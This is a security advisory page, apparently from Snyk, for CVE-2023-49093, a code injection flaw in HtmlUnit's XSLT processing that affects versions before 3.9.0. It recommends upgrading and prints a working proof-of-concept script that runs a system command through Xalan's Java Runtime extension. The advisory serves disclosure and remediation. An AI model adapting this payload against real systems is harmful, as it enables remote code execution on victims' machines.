Improper Control of Generation of Code ('Code Injection') Affecting org.htmlunit:htmlunit package, versions [,3.9.0)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.62% (80th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JAVA-ORGHTMLUNIT-6097266
- published 4 Dec 2023
- disclosed 4 Dec 2023
- credit Unknown
Introduced: 4 Dec 2023
CVE-2023-49093 Open this link in a new tabHow to fix?
Upgrade org.htmlunit:htmlunit
to version 3.9.0 or higher.
Overview
Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') via the XSLT
processor, due to FEATURE_SECURE_PROCESSING
not being enabled. An attacker can execute arbitrary code remotely by directing the victim to browse a malicious webpage.
PoC
<script>
var xslt = new ActiveXObject("Msxml2.XSLTemplate.6.0");
var xslDoc = new ActiveXObject("Msxml2.FreeThreadedDOMDocument.6.0");
var xslProc;
xslDoc.async = false;
xslDoc.loadXML(`<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'open -a Calculator')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<span><xsl:value-of select="$processString"/></span>
</xsl:template>
</xsl:stylesheet>`)
if (xslDoc.parseError.errorCode != 0) {
var myErr = xslDoc.parseError;
document.write("ParseError: "+myErr.reason);
} else {
xslt.stylesheet = xslDoc;
var xmlDoc = new ActiveXObject("Msxml2.DOMDocument.6.0");
xmlDoc.async = false;
xmlDoc.loadXML("<s></s>");
if (xmlDoc.parseError.errorCode != 0) {
var myErr = xmlDoc.parseError;
document.write("Document error: " + myErr.reason);
} else {
xslProc = xslt.createProcessor();
xslProc.input = xmlDoc;
xslProc.transform();
document.write(xslProc.output);
}
}
</script>
References
CVSS Scores
version 3.1